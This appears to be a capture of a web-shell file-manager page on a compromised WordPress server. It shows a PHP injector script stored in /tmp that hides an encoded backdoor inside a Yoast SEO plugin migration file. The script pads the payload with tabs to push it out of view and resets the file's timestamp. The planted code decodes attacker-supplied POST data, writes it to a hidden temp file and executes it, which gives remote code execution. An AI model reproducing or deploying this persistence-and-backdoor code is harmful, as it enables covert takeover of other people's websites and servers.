HEX
Server: Apache
System: Linux mare-tim-wwwmocrea 6.8.12-9-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-9 (2025-03-16T19:18Z) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //tmp/.classes
<?php  $path = '/var/www/vhost/www.mocrea.it/wp-content/plugins/wordpress-seo/src/config/migrations/20200428194858_ExpandIndexableColumnLengths.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('if%28filter_has_var%28INPUT_POST%2C%20%22ptr%22%29%29%7B%20%24object%20%3D%20%24_REQUEST%5B%22ptr%22%5D%3B%20%24object%20%3D%20explode%20%28%20%27.%27%20%2C%20%24object%29%20%3B%20%24pointer%3D%27%27%3B%20%24salt%3D%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24sLen%3Dstrlen%28%20%24salt%20%29%3B%20%24m%3D0%3B%20array_walk%28%20%24object%2C%20function%28%20%24v6%29%20use%28%20%26%24pointer%2C%20%26%24m%2C%20%24salt%2C%20%24sLen%29%20%7B%24sChar%3Dord%28%20%24salt%5B%24m%20%25%20%24sLen%5D%20%29%3B%20%24d%3D%28%20%28%20int%29%24v6%20-%20%24sChar%20-%28%20%24m%20%25%2010%29%29%20%5E%2070%3B%20%24pointer%20.%3D%20chr%28%20%24d%20%29%3B%20%24m%2B%2B%3B%20%7D%20%29%3B%20%24symbol%20%3D%20array_filter%28%5Bsys_get_temp_dir%28%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20%22/var/tmp%22%2C%20getenv%28%22TMP%22%29%2C%20getcwd%28%29%2C%20getenv%28%22TEMP%22%29%2C%20session_save_path%28%29%2C%20%22/dev/shm%22%2C%20%22/tmp%22%5D%29%3B%20foreach%20%28%24symbol%20as%20%24data_chunk%29%3A%20if%20%28%28bool%29is_dir%28%24data_chunk%29%20%26%26%20%28bool%29is_writable%28%24data_chunk%29%29%20%7B%20%24reference%20%3D%20join%28%22/%22%2C%20%5B%24data_chunk%2C%20%22.marker%22%5D%29%3B%20if%20%28file_put_contents%28%24reference%2C%20%24pointer%29%29%20%7B%20require%20%24reference%3B%20unlink%28%24reference%29%3B%20die%28%29%3B%20%7D%20%7D%20endforeach%3B%20%7D'); if (strstr($content, $new_code)) {     die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     if (substr($content, 0, strlen($start)) == $start) {         $content = substr($content, strlen($start));         $content = $start.str_repeat("\t", 42).$new_code."\n".$content;         if (file_put_contents($path, $content)) {             @touch($path, $ft);             $content = file_get_contents($path);             if (strstr($content, $new_code)) {                 die('!success!');             }         }     } } die('!failed!');